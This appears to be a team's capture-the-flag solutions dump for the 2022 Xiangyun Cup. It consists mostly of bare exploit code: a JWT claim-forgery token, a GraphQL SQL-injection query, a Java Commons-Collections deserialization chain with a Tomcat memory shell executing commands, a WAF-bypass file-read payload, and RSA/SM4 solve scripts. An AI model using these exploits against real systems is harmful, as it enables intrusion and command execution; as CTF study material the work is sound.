2022HashRun安全团队祥云杯wp

jwcrypto>=1.4.2
gevent>=1.2.2pyVows>=3.0.0pylint>=1.4.4coverage>=4.0.3coveralls>=1.2.0mock>=1.3.0

""" Test claim forgery vulnerability fix """from datetime import timedeltafrom json import loads, dumpsfrom common import generated_keysimport python_jwt as jwtfrom pyvows import Vows, expectfrom jwcrypto.common import base64url_decode, base64url_encode
@Vows.batchclass ForgedClaims(Vows.Context):    """ Check we get an error when payload is forged using mix of compact and JSON formats """    def topic(self):        """ Generate token """        payload = {'sub': 'alice'}        #print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))        return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
    class PolyglotToken(Vows.Context):        """ Make a forged token """        def topic(self, topic):            """ Use mix of JSON and compact format to insert forged claims including long expiration """            [header, payload, signature] = topic.split('.')            parsed_payload = loads(base64url_decode(payload))            parsed_payload['is_admin'] = 1            parsed_payload['exp'] = 2000000000            fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))            print            print('{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}')            return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
        class Verify(Vows.Context):            """ Check the forged token fails to verify """            @Vows.capture_error            def topic(self, topic):                """ Verify the forged token """                return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
            def token_should_not_verify(self, r):                """ Check the token doesn't verify due to mixed format being detected """                expect(r).to_be_an_error()                expect(str(r)).to_equal('invalid JWT format')
    a = PolyglotToken()    print(a.topic("你的ps256的jwt"))    #print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))

query={     getscoreusingnamehahaha(name:"userid'union select password from users'1=1"){         userid     name     score     } 

package moe.orangemc;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;  import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;  public class Main {     public static void main(String[] args) {         try {             ClassPool classPool = ClassPool.getDefault();             CtClass ctClass = classPool.getCtClass("Meow");             byte[] bytes = ctClass.toBytecode();             TemplatesImpl templates = new TemplatesImpl();             Field f1 = templates.getClass().getDeclaredField("_name");             Field f2 = templates.getClass().getDeclaredField("_bytecodes");             f1.setAccessible(true);             f2.setAccessible(true);             f1.set(templates, "Meow");             f2.set(templates, new byte[][]{bytes});             Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));             TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer);             PriorityQueue<Integer> queue = new PriorityQueue<>(2);             queue.add(1);             queue.add(1);             Field f = queue.getClass().getDeclaredField("comparator");             f.setAccessible(true);             f.set(queue, transformingComparator);             Field f3 = queue.getClass().getDeclaredField("queue");             f3.setAccessible(true);             f3.set(queue, new Object[] {chainedTransformer, chainedTransformer});              ByteArrayOutputStream baos = new ByteArrayOutputStream();             ObjectOutputStream oos = new ObjectOutputStream(baos);             oos.writeObject(queue);             oos.close();             String result = new String(Base64.getEncoder().encode(baos.toByteArray()));             System.out.println(result);         } catch (Exception e) {             e.printStackTrace();         }     } }

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  public class Meow extends AbstractTranslet {      public Meow() {         super();         this.namesArray = new String[]{"meow"};         try {              java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");             java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");             java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");             java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);             contextField.setAccessible(true);             serviceField.setAccessible(true);             requestField.setAccessible(true);             getHandlerMethod.setAccessible(true);             org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =                     (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();             org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());             org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);             org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();             for (int i=0;i<connectors.length;i++) {                 if (4==connectors[i].getScheme().length()) {                     org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();                     if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {                         Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();                         for (int j = 0; j < classes.length; j++) {                             if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) {                                 System.out.println(classes[j].getName());                                 java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");                                 java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");                                 globalField.setAccessible(true);                                 processorsField.setAccessible(true);                                 org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));                                 java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);                                 for (int k = 0; k < list.size(); k++) {                                     org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));                                     System.out.println(tempRequest.getHeader("tomcat"));                                     org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);                                     String cmd = "" + "cat /flag" +"";                                     String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};                                     java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                                     java.util.Scanner s = new java.util.Scanner(in).useDelimiter("n");                                     String output = s.hasNext() ? s.next() : "";                                     java.io.Writer writer = request.getResponse().getWriter();                                     java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");                                     usingWriter.setAccessible(true);                                     usingWriter.set(request.getResponse(), Boolean.FALSE);                                     writer.write(output);                                     writer.flush();                                     break;                                 }                                 break;                             }                         }                     }                     break;                 }               }           } catch (Exception e) {          }     }      @Override     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {      }      @Override     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {      } }

const express = require('express');const app = express();const bodyParser = require("body-parser")const fs = require("fs")app.use(bodyParser.text({type: '*/*'}));const {  execFileSync } = require('child_process');
app.post('/readfile', function (req, res) {    let body = req.body.toString();    let file_to_read = "app.js";    const file = execFileSync('/app/rust-waf', [body], {        encoding: 'utf-8'    }).trim();    try {        file_to_read = JSON.parse(file)    } catch (e){        file_to_read = file    }    let data = fs.readFileSync(file_to_read);    res.send(data.toString());});
app.get('/', function (req, res) {    res.send('see `/src`');});


app.get('/src', function (req, res) {    var data = fs.readFileSync('app.js');    res.send(data.toString());});
app.listen(3000, function () {    console.log('start listening on port 3000');});

use std::env;use serde::{Deserialize, Serialize};use serde_json::Value;static BLACK_PROPERTY: &str = "protocol";#[derive(Debug, Serialize, Deserialize)]struct File{    #[serde(default = "default_protocol")]    pub protocol: String,    pub href: String,    pub origin: String,    pub pathname: String,    pub hostname:String    }pub fn default_protocol() -> String {    "http".to_string()}//protocol is default value,can't be customizedpub fn waf(body: &str) -> String {    if body.to_lowercase().contains("flag") ||    body.to_lowercase().contains("proc"){        return String::from("./main.rs");        }
//protocol is default value,can't be customizedpub fn waf(body: &str) -> String {    if body.to_lowercase().contains("flag") ||    body.to_lowercase().contains("proc"){        return String::from("./main.rs");        }        if let Ok(json_body) = serde_json::from_str::<Value>(body) {            if let Some(json_body_obj) = json_body.as_object() {                if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {                    return String::from("./main.rs");                }            }            if let Ok(file) = serde_json::from_str::<File>(body) {                return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));            }        } else{//body not json            return String::from(body);        }        return String::from("./main.rs");    }    fn main() {        let args: Vec<String> = env::args().collect();        println!("{}", waf(&args[1]));}

{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","prud800otocol":"file:","href":"fuckyou"}

###############################################################################                                                                            ##                            国产SM4加密算法                                  ##                                                                            #################################################################################根据网上大神的脚本改的import binasciiimport structfrom gmssl import sm4def getarr(a):    ddd=[]    for i in range(len(a)):        s=a[i]        ddd.append(s&0xff)        s>>=8        ddd.append(s&0xff)        s>>=8        ddd.append(s&0xff)        s>>=8        ddd.append(s&0xff)        ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]    return bytes(ddd)
class SM4:    """    国产加密 sm4加解密    """
    def __init__(self):        self.crypt_sm4 = sm4.CryptSM4()  # 实例化
    def decryptSM4(self, decrypt_key, encrypt_value):        """        国密sm4解密        :param decrypt_key:sm4加密key        :param encrypt_value: 待解密的十六进制值        :return: 原字符串        """        crypt_sm4 = self.crypt_sm4        crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT)  # 设置密钥        decrypt_value = crypt_sm4.crypt_ecb(encrypt_value)  # 开始解密。十六进制类型        return decrypt_value        # return self.str_to_hexStr(decrypt_value.hex())
if __name__ == '__main__':    key = getarr([19088743,2309737967,4275878552,1985229328])    strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868])    strData=bytes(strData)    SM4 = SM4()    decData = SM4.decryptSM4(key, strData)    print("sm4解密结果：", decData)  # 解密后的数据

from Crypto.Util.number import * from random import * from libnum import * import gmpy2 from itertools import combinations, chain 
e = 65537 n = 141321067325716426375483506915224930097246865960474155069040176356860707435540270911081589751471783519639996589589495877214497196498978453005154272785048418715013714419926299248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 tp = [gmpy2.mpz(1 << i) for i in range(512)] it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)]) for cf in it:    A = -sum([tp[i] for i in cf])    D = A**2 + 4 * n    if gmpy2.is_square(D):        d = gmpy2.isqrt(D)        p = (-A + d) // 2        q = n // p        break x=p-1 d = pow(e, -1, (p - 1) * (q - 1)) m=pow(c, d, n) print(pow(c, d, n)) print(long_to_bytes(m^(x**2)))

import libnumfrom Crypto.Util.number import long_to_bytes c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907
d = libnum.invmod(e, (p - 1) * (q - 1))m = pow(c, d, n)print(long_to_bytes(m))

import libnumfrom Crypto.Util.number import long_to_bytes
n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102e = 65537
tag1 = 1tag2 = 0F = open("trace.out","r")arr = F.readlines()
for i in arr[::-1]:    if "a = a - b" in i:        tag1 = tag1 + tag2#print(tag1)#print(tag2)    if "a, b = b, a" in i:        tag1, tag2 = tag2, tag1#print(tag1)#print(tag2)    if "a = rshift1(a)"in i:        tag1 = tag1 << 1#print(tag1)#print(tag2)    if "b = rshift1(b)" in i:        tag2 = tag2 << 1#print(tag1)#print(tag2)
phi = tag1#print(phi)
d = libnum.invmod(e, phi) m = pow(c, d, n)print(long_to_bytes(m))